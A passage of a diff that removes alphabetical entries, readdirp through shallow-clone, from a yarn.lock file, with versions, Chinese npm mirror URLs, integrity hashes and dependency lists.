-  resolved "https://registry.nlark.com/readdirp/download/readdirp-2.2.1.tgz#0e87622a3325aa33e892285caf8b4e846529a525"
-  integrity sha1-DodiKjMlqjPokihcr4tOhGUppSU=
-  dependencies:
-    graceful-fs "^4.1.11"
-    micromatch "^3.1.10"
-    readable-stream "^2.0.2"
-
-readdirp@~3.5.0:
-  version "3.5.0"
-  resolved "https://registry.nlark.com/readdirp/download/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e"
-  integrity sha1-m6dMAZsV02UnjS6Ru4xI17TULJ4=
-  dependencies:
-    picomatch "^2.2.1"
-
-realpath-native@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/realpath-native/download/realpath-native-1.1.0.tgz#2003294fea23fb0672f2476ebe22fcf498a2d65c"
-  integrity sha1-IAMpT+oj+wZy8kduviL89Jii1lw=
-  dependencies:
-    util.promisify "^1.0.0"
-
-recursive-readdir@2.2.2:
-  version "2.2.2"
-  resolved "https://registry.npm.taobao.org/recursive-readdir/download/recursive-readdir-2.2.2.tgz#9946fb3274e1628de6e36b2f6714953b4845094f"
-  integrity sha1-mUb7MnThYo3m42svZxSVO0hFCU8=
-  dependencies:
-    minimatch "3.0.4"
-
-redent@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/redent/download/redent-3.0.0.tgz#e557b7998316bb53c9f1f56fa626352c6963059f"
-  integrity sha1-5Ve3mYMWu1PJ8fVvpiY1LGljBZ8=
-  dependencies:
-    indent-string "^4.0.0"
-    strip-indent "^3.0.0"
-
-regenerate-unicode-properties@^8.2.0:
-  version "8.2.0"
-  resolved "https://registry.nlark.com/regenerate-unicode-properties/download/regenerate-unicode-properties-8.2.0.tgz#e5de7111d655e7ba60c057dbe9ff37c87e65cdec"
-  integrity sha1-5d5xEdZV57pgwFfb6f83yH5lzew=
-  dependencies:
-    regenerate "^1.4.0"
-
-regenerate@^1.4.0:
-  version "1.4.2"
-  resolved "https://registry.npm.taobao.org/regenerate/download/regenerate-1.4.2.tgz?cache=0&sync_timestamp=1604218353677&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregenerate%2Fdownload%2Fregenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
-  integrity sha1-uTRtiCfo9aMve6KWN9OYtpAUhIo=
-
-regenerator-runtime@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.nlark.com/regenerator-runtime/download/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9"
-  integrity sha1-vgWtf5v30i4Fb5cmzuUBf78Z4uk=
-
-regenerator-runtime@^0.13.3, regenerator-runtime@^0.13.4:
-  version "0.13.7"
-  resolved "https://registry.nlark.com/regenerator-runtime/download/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55"
-  integrity sha1-ysLazIoepnX+qrrriugziYrkb1U=
-
-regenerator-transform@^0.14.2:
-  version "0.14.5"
-  resolved "https://registry.nlark.com/regenerator-transform/download/regenerator-transform-0.14.5.tgz#c98da154683671c9c4dcb16ece736517e1b7feb4"
-  integrity sha1-yY2hVGg2ccnE3LFuznNlF+G3/rQ=
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-
-regex-not@^1.0.0, regex-not@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/regex-not/download/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
-  integrity sha1-H07OJ+ALC2XgJHpoEOaoXYOldSw=
-  dependencies:
-    extend-shallow "^3.0.2"
-    safe-regex "^1.1.0"
-
-regex-parser@2.2.10:
-  version "2.2.10"
-  resolved "https://registry.nlark.com/regex-parser/download/regex-parser-2.2.10.tgz#9e66a8f73d89a107616e63b39d4deddfee912b37"
-  integrity sha1-nmao9z2JoQdhbmOznU3t3+6RKzc=
-
-regexp.prototype.flags@^1.2.0, regexp.prototype.flags@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.nlark.com/regexp.prototype.flags/download/regexp.prototype.flags-1.3.1.tgz#7ef352ae8d159e758c0eadca6f8fcb4eef07be26"
-  integrity sha1-fvNSro0VnnWMDq3Kb4/LTu8HviY=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-regexpp@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/regexpp/download/regexpp-2.0.1.tgz#8d19d31cf632482b589049f8281f93dbcba4d07f"
-  integrity sha1-jRnTHPYySCtYkEn4KB+T28uk0H8=
-
-regexpp@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/regexpp/download/regexpp-3.1.0.tgz#206d0ad0a5648cffbdb8ae46438f3dc51c9f78e2"
-  integrity sha1-IG0K0KVkjP+9uK5GQ489xRyfeOI=
-
-regexpu-core@^4.7.1:
-  version "4.7.1"
-  resolved "https://registry.npm.taobao.org/regexpu-core/download/regexpu-core-4.7.1.tgz?cache=0&sync_timestamp=1600413461940&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fregexpu-core%2Fdownload%2Fregexpu-core-4.7.1.tgz#2dea5a9a07233298fbf0db91fa9abc4c6e0f8ad6"
-  integrity sha1-LepamgcjMpj78NuR+pq8TG4PitY=
-  dependencies:
-    regenerate "^1.4.0"
-    regenerate-unicode-properties "^8.2.0"
-    regjsgen "^0.5.1"
-    regjsparser "^0.6.4"
-    unicode-match-property-ecmascript "^1.0.4"
-    unicode-match-property-value-ecmascript "^1.2.0"
-
-regjsgen@^0.5.1:
-  version "0.5.2"
-  resolved "https://registry.nlark.com/regjsgen/download/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733"
-  integrity sha1-kv8pX7He7L9uzaslQ9IH6RqjNzM=
-
-regjsparser@^0.6.4:
-  version "0.6.9"
-  resolved "https://registry.npm.taobao.org/regjsparser/download/regjsparser-0.6.9.tgz#b489eef7c9a2ce43727627011429cf833a7183e6"
-  integrity sha1-tInu98mizkNydicBFCnPgzpxg+Y=
-  dependencies:
-    jsesc "~0.5.0"
-
-relateurl@^0.2.7:
-  version "0.2.7"
-  resolved "https://registry.npm.taobao.org/relateurl/download/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
-  integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=
-
-remove-trailing-separator@^1.0.1:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/remove-trailing-separator/download/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef"
-  integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8=
-
-renderkid@^2.0.4:
-  version "2.0.6"
-  resolved "https://registry.nlark.com/renderkid/download/renderkid-2.0.6.tgz#aaf875a67f2d1705821a22b64515db6d9e025fd2"
-  integrity sha1-qvh1pn8tFwWCGiK2RRXbbZ4CX9I=
-  dependencies:
-    css-select "^4.1.3"
-    dom-converter "^0.2.0"
-    htmlparser2 "^6.1.0"
-    lodash "^4.17.21"
-    strip-ansi "^6.0.0"
-
-repeat-element@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.npm.taobao.org/repeat-element/download/repeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
-  integrity sha1-vmgVIIR6tYx1aKx1+/rSjtQtOek=
-
-repeat-string@^1.6.1:
-  version "1.6.1"
-  resolved "https://registry.npm.taobao.org/repeat-string/download/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-  integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
-
-request-promise-core@1.1.4:
-  version "1.1.4"
-  resolved "https://registry.nlark.com/request-promise-core/download/request-promise-core-1.1.4.tgz#3eedd4223208d419867b78ce815167d10593a22f"
-  integrity sha1-Pu3UIjII1BmGe3jOgVFn0QWToi8=
-  dependencies:
-    lodash "^4.17.19"
-
-request-promise-native@^1.0.5:
-  version "1.0.9"
-  resolved "https://registry.nlark.com/request-promise-native/download/request-promise-native-1.0.9.tgz?cache=0&sync_timestamp=1618847006003&other_urls=https%3A%2F%2Fregistry.nlark.com%2Frequest-promise-native%2Fdownload%2Frequest-promise-native-1.0.9.tgz#e407120526a5efdc9a39b28a5679bf47b9d9dc28"
-  integrity sha1-5AcSBSal79yaObKKVnm/R7nZ3Cg=
-  dependencies:
-    request-promise-core "1.1.4"
-    stealthy-require "^1.1.1"
-    tough-cookie "^2.3.3"
-
-request@^2.87.0, request@^2.88.0:
-  version "2.88.2"
-  resolved "https://registry.nlark.com/request/download/request-2.88.2.tgz#d73c918731cb5a87da047e207234146f664d12b3"
-  integrity sha1-1zyRhzHLWofaBH4gcjQUb2ZNErM=
-  dependencies:
-    aws-sign2 "~0.7.0"
-    aws4 "^1.8.0"
-    caseless "~0.12.0"
-    combined-stream "~1.0.6"
-    extend "~3.0.2"
-    forever-agent "~0.6.1"
-    form-data "~2.3.2"
-    har-validator "~5.1.3"
-    http-signature "~1.2.0"
-    is-typedarray "~1.0.0"
-    isstream "~0.1.2"
-    json-stringify-safe "~5.0.1"
-    mime-types "~2.1.19"
-    oauth-sign "~0.9.0"
-    performance-now "^2.1.0"
-    qs "~6.5.2"
-    safe-buffer "^5.1.2"
-    tough-cookie "~2.5.0"
-    tunnel-agent "^0.6.0"
-    uuid "^3.3.2"
-
-require-directory@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.nlark.com/require-directory/download/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
-  integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
-
-require-main-filename@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/require-main-filename/download/require-main-filename-1.0.1.tgz#97f717b69d48784f5f526a6c5aa8ffdda055a4d1"
-  integrity sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=
-
-require-main-filename@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/require-main-filename/download/require-main-filename-2.0.0.tgz#d0b329ecc7cc0f61649f62215be69af54aa8989b"
-  integrity sha1-0LMp7MfMD2Fkn2IhW+aa9UqomJs=
-
-requires-port@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/requires-port/download/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
-  integrity sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=
-
-resolve-cwd@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/resolve-cwd/download/resolve-cwd-2.0.0.tgz#00a9f7387556e27038eae232caa372a6a59b665a"
-  integrity sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=
-  dependencies:
-    resolve-from "^3.0.0"
-
-resolve-from@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/resolve-from/download/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
-  integrity sha1-six699nWiBvItuZTM17rywoYh0g=
-
-resolve-from@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/resolve-from/download/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
-  integrity sha1-SrzYUq0y3Xuqv+m0DgCjbbXzkuY=
-
-resolve-url-loader@3.1.1:
-  version "3.1.1"
-  resolved "https://registry.nlark.com/resolve-url-loader/download/resolve-url-loader-3.1.1.tgz#28931895fa1eab9be0647d3b2958c100ae3c0bf0"
-  integrity sha1-KJMYlfoeq5vgZH07KVjBAK48C/A=
-  dependencies:
-    adjust-sourcemap-loader "2.0.0"
-    camelcase "5.3.1"
-    compose-function "3.0.3"
-    convert-source-map "1.7.0"
-    es6-iterator "2.0.3"
-    loader-utils "1.2.3"
-    postcss "7.0.21"
-    rework "1.0.1"
-    rework-visit "1.0.0"
-    source-map "0.6.1"
-
-resolve-url@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.nlark.com/resolve-url/download/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
-  integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
-
-resolve@1.1.7:
-  version "1.1.7"
-  resolved "https://registry.nlark.com/resolve/download/resolve-1.1.7.tgz#203114d82ad2c5ed9e8e0411b3932875e889e97b"
-  integrity sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=
-
-resolve@1.15.0:
-  version "1.15.0"
-  resolved "https://registry.nlark.com/resolve/download/resolve-1.15.0.tgz#1b7ca96073ebb52e741ffd799f6b39ea462c67f5"
-  integrity sha1-G3ypYHPrtS50H/15n2s56kYsZ/U=
-  dependencies:
-    path-parse "^1.0.6"
-
-resolve@^1.10.0, resolve@^1.12.0, resolve@^1.13.1, resolve@^1.14.2, resolve@^1.15.1, resolve@^1.3.2, resolve@^1.8.1:
-  version "1.20.0"
-  resolved "https://registry.nlark.com/resolve/download/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975"
-  integrity sha1-YpoBP7P3B1XW8LeTXMHCxTeLGXU=
-  dependencies:
-    is-core-module "^2.2.0"
-    path-parse "^1.0.6"
-
-restore-cursor@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/restore-cursor/download/restore-cursor-3.1.0.tgz#39f67c54b3a7a58cea5236d95cf0034239631f7e"
-  integrity sha1-OfZ8VLOnpYzqUjbZXPADQjljH34=
-  dependencies:
-    onetime "^5.1.0"
-    signal-exit "^3.0.2"
-
-ret@~0.1.10:
-  version "0.1.15"
-  resolved "https://registry.npm.taobao.org/ret/download/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
-  integrity sha1-uKSCXVvbH8P29Twrwz+BOIaBx7w=
-
-retry@^0.12.0:
-  version "0.12.0"
-  resolved "https://registry.nlark.com/retry/download/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b"
-  integrity sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=
-
-rework-visit@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/rework-visit/download/rework-visit-1.0.0.tgz#9945b2803f219e2f7aca00adb8bc9f640f842c9a"
-  integrity sha1-mUWygD8hni96ygCtuLyfZA+ELJo=
-
-rework@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/rework/download/rework-1.0.1.tgz#30806a841342b54510aa4110850cd48534144aa7"
-  integrity sha1-MIBqhBNCtUUQqkEQhQzUhTQUSqc=
-  dependencies:
-    convert-source-map "^0.3.3"
-    css "^2.0.0"
-
-rgb-regex@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/rgb-regex/download/rgb-regex-1.0.1.tgz#c0e0d6882df0e23be254a475e8edd41915feaeb1"
-  integrity sha1-wODWiC3w4jviVKR16O3UGRX+rrE=
-
-rgba-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/rgba-regex/download/rgba-regex-1.0.0.tgz#43374e2e2ca0968b0ef1523460b7d730ff22eeb3"
-  integrity sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=
-
-rimraf@2.6.3:
-  version "2.6.3"
-  resolved "https://registry.npm.taobao.org/rimraf/download/rimraf-2.6.3.tgz#b2d104fe0d8fb27cf9e0a1cda8262dd3833c6cab"
-  integrity sha1-stEE/g2Psnz54KHNqCYt04M8bKs=
-  dependencies:
-    glob "^7.1.3"
-
-rimraf@^2.5.4, rimraf@^2.6.3, rimraf@^2.7.1:
-  version "2.7.1"
-  resolved "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
-  integrity sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=
-  dependencies:
-    glob "^7.1.3"
-
-ripemd160@^2.0.0, ripemd160@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.nlark.com/ripemd160/download/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
-  integrity sha1-ocGm9iR1FXe6XQeRTLyShQWFiQw=
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-
-rsvp@^4.8.4:
-  version "4.8.5"
-  resolved "https://registry.nlark.com/rsvp/download/rsvp-4.8.5.tgz#c8f155311d167f68f21e168df71ec5b083113734"
-  integrity sha1-yPFVMR0Wf2jyHhaN9x7FsIMRNzQ=
-
-run-async@^2.2.0, run-async@^2.4.0:
-  version "2.4.1"
-  resolved "https://registry.nlark.com/run-async/download/run-async-2.4.1.tgz#8440eccf99ea3e70bd409d49aab88e10c189a455"
-  integrity sha1-hEDsz5nqPnC9QJ1JqriOEMGJpFU=
-
-run-queue@^1.0.0, run-queue@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/run-queue/download/run-queue-1.0.3.tgz#e848396f057d223f24386924618e25694161ec47"
-  integrity sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=
-  dependencies:
-    aproba "^1.1.1"
-
-rxjs@^6.5.3, rxjs@^6.6.0:
-  version "6.6.7"
-  resolved "https://registry.nlark.com/rxjs/download/rxjs-6.6.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Frxjs%2Fdownload%2Frxjs-6.6.7.tgz#90ac018acabf491bf65044235d5863c4dab804c9"
-  integrity sha1-kKwBisq/SRv2UEQjXVhjxNq4BMk=
-  dependencies:
-    tslib "^1.9.0"
-
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha1-mR7GnSluAxN0fVm9/St0XDX4go0=
-
-safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0:
-  version "5.2.1"
-  resolved "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
-  integrity sha1-Hq+fqb2x/dTsdfWPnNtOa3gn7sY=
-
-safe-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/safe-regex/download/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-  integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
-  dependencies:
-    ret "~0.1.10"
-
-"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
-  version "2.1.2"
-  resolved "https://registry.nlark.com/safer-buffer/download/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-  integrity sha1-RPoWGwGHuVSd2Eu5GAL5vYOFzWo=
-
-sane@^4.0.3:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/sane/download/sane-4.1.0.tgz#ed881fd922733a6c461bc189dc2b6c006f3ffded"
-  integrity sha1-7Ygf2SJzOmxGG8GJ3CtsAG8//e0=
-  dependencies:
-    "@cnakazawa/watch" "^1.0.3"
-    anymatch "^2.0.0"
-    capture-exit "^2.0.0"
-    exec-sh "^0.3.2"
-    execa "^1.0.0"
-    fb-watchman "^2.0.0"
-    micromatch "^3.1.4"
-    minimist "^1.1.1"
-    walker "~1.0.5"
-
-sanitize.css@^10.0.0:
-  version "10.0.0"
-  resolved "https://registry.npm.taobao.org/sanitize.css/download/sanitize.css-10.0.0.tgz#b5cb2547e96d8629a60947544665243b1dc3657a"
-  integrity sha1-tcslR+lthimmCUdURmUkOx3DZXo=
-
-sass-loader@8.0.2:
-  version "8.0.2"
-  resolved "https://registry.nlark.com/sass-loader/download/sass-loader-8.0.2.tgz?cache=0&sync_timestamp=1622562250842&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsass-loader%2Fdownload%2Fsass-loader-8.0.2.tgz#debecd8c3ce243c76454f2e8290482150380090d"
-  integrity sha1-3r7NjDziQ8dkVPLoKQSCFQOACQ0=
-  dependencies:
-    clone-deep "^4.0.1"
-    loader-utils "^1.2.3"
-    neo-async "^2.6.1"
-    schema-utils "^2.6.1"
-    semver "^6.3.0"
-
-sax@^1.2.4, sax@~1.2.4:
-  version "1.2.4"
-  resolved "https://registry.npm.taobao.org/sax/download/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
-  integrity sha1-KBYjTiN4vdxOU1T6tcqold9xANk=
-
-saxes@^3.1.9:
-  version "3.1.11"
-  resolved "https://registry.npm.taobao.org/saxes/download/saxes-3.1.11.tgz#d59d1fd332ec92ad98a2e0b2ee644702384b1c5b"
-  integrity sha1-1Z0f0zLskq2YouCy7mRHAjhLHFs=
-  dependencies:
-    xmlchars "^2.1.1"
-
-scheduler@^0.19.1:
-  version "0.19.1"
-  resolved "https://registry.nlark.com/scheduler/download/scheduler-0.19.1.tgz?cache=0&sync_timestamp=1623168604125&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fscheduler%2Fdownload%2Fscheduler-0.19.1.tgz#4f3e2ed2c1a7d65681f4c854fa8c5a1ccb40f196"
-  integrity sha1-Tz4u0sGn1laB9MhU+oxaHMtA8ZY=
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-
-schema-utils@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz#0b79a93204d7b600d4b2850d1f66c2a34951c770"
-  integrity sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=
-  dependencies:
-    ajv "^6.1.0"
-    ajv-errors "^1.0.0"
-    ajv-keywords "^3.1.0"
-
-schema-utils@^2.5.0, schema-utils@^2.6.0, schema-utils@^2.6.1, schema-utils@^2.6.4, schema-utils@^2.6.5:
-  version "2.7.1"
-  resolved "https://registry.npm.taobao.org/schema-utils/download/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
-  integrity sha1-HKTzLRskxZDCA7jnpQvw6kzTlNc=
-  dependencies:
-    "@types/json-schema" "^7.0.5"
-    ajv "^6.12.4"
-    ajv-keywords "^3.5.2"
-
-select-hose@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/select-hose/download/select-hose-2.0.0.tgz#625d8658f865af43ec962bfc376a37359a4994ca"
-  integrity sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=
-
-selfsigned@^1.10.7:
-  version "1.10.11"
-  resolved "https://registry.nlark.com/selfsigned/download/selfsigned-1.10.11.tgz#24929cd906fe0f44b6d01fb23999a739537acbe9"
-  integrity sha1-JJKc2Qb+D0S20B+yOZmnOVN6y+k=
-  dependencies:
-    node-forge "^0.10.0"
-
-"semver@2 || 3 || 4 || 5", semver@^5.4.1, semver@^5.5.0, semver@^5.5.1, semver@^5.6.0:
-  version "5.7.1"
-  resolved "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847119601&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha1-qVT5Ma66UI0we78Gnv8MAclhFvc=
-
-semver@6.3.0, semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.2.0, semver@^6.3.0:
-  version "6.3.0"
-  resolved "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847119601&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
-  integrity sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0=
-
-semver@7.0.0:
-  version "7.0.0"
-  resolved "https://registry.nlark.com/semver/download/semver-7.0.0.tgz?cache=0&sync_timestamp=1618847119601&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e"
-  integrity sha1-XzyjV2HkfgWyBsba/yz4FPAxa44=
-
-semver@^7.3.2:
-  version "7.3.5"
-  resolved "https://registry.nlark.com/semver/download/semver-7.3.5.tgz?cache=0&sync_timestamp=1618847119601&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-7.3.5.tgz#0b621c879348d8998e4b0e4be94b3f12e6018ef7"
-  integrity sha1-C2Ich5NI2JmOSw5L6Us/EuYBjvc=
-  dependencies:
-    lru-cache "^6.0.0"
-
-send@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.npm.taobao.org/send/download/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
-  integrity sha1-wdiwWfeQD3Rm3Uk4vcROEd2zdsg=
-  dependencies:
-    debug "2.6.9"
-    depd "~1.1.2"
-    destroy "~1.0.4"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    fresh "0.5.2"
-    http-errors "~1.7.2"
-    mime "1.6.0"
-    ms "2.1.1"
-    on-finished "~2.3.0"
-    range-parser "~1.2.1"
-    statuses "~1.5.0"
-
-serialize-javascript@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-2.1.2.tgz?cache=0&sync_timestamp=1599740650381&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fserialize-javascript%2Fdownload%2Fserialize-javascript-2.1.2.tgz#ecec53b0e0317bdc95ef76ab7074b7384785fa61"
-  integrity sha1-7OxTsOAxe9yV73arcHS3OEeF+mE=
-
-serialize-javascript@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-4.0.0.tgz?cache=0&sync_timestamp=1599740650381&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fserialize-javascript%2Fdownload%2Fserialize-javascript-4.0.0.tgz#b525e1238489a5ecfc42afacc3fe99e666f4b1aa"
-  integrity sha1-tSXhI4SJpez8Qq+sw/6Z5mb0sao=
-  dependencies:
-    randombytes "^2.1.0"
-
-serve-index@^1.9.1:
-  version "1.9.1"
-  resolved "https://registry.nlark.com/serve-index/download/serve-index-1.9.1.tgz#d3768d69b1e7d82e5ce050fff5b453bea12a9239"
-  integrity sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=
-  dependencies:
-    accepts "~1.3.4"
-    batch "0.6.1"
-    debug "2.6.9"
-    escape-html "~1.0.3"
-    http-errors "~1.6.2"
-    mime-types "~2.1.17"
-    parseurl "~1.3.2"
-
-serve-static@1.14.1:
-  version "1.14.1"
-  resolved "https://registry.npm.taobao.org/serve-static/download/serve-static-1.14.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fserve-static%2Fdownload%2Fserve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
-  integrity sha1-Zm5jbcTwEPfvKZcKiKZ0MgiYsvk=
-  dependencies:
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    parseurl "~1.3.3"
-    send "0.17.1"
-
-set-blocking@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/set-blocking/download/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-  integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
-
-set-value@^2.0.0, set-value@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/set-value/download/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
-  integrity sha1-oY1AUw5vB95CKMfe/kInr4ytAFs=
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-extendable "^0.1.1"
-    is-plain-object "^2.0.3"
-    split-string "^3.0.1"
-
-setimmediate@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/setimmediate/download/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
-  integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
-
-setprototypeof@1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656"
-  integrity sha1-0L2FU2iHtv58DYGMuWLZ2RxU5lY=
-
-setprototypeof@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
-  integrity sha1-fpWsskqpL1iF4KvvW6ExMw1K5oM=
-
-sha.js@^2.4.0, sha.js@^2.4.8:
-  version "2.4.11"
-  resolved "https://registry.npm.taobao.org/sha.js/download/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
-  integrity sha1-N6XPC4HsvGlD3hCbopYNGyZYSuc=
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-shallow-clone@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/shallow-clone/download/shallow-clone-0.1.2.tgz#5909e874ba77106d73ac414cfec1ffca87d97060"
-  integrity sha1-WQnodLp3EG1zrEFM/sH/yofZcGA=
-  dependencies:
-    is-extendable "^0.1.1"
-    kind-of "^2.0.1"
-    lazy-cache "^0.2.3"
-    mixin-object "^2.0.1"
-
-shallow-clone@^3.0.0:
-  version "3.0.1"
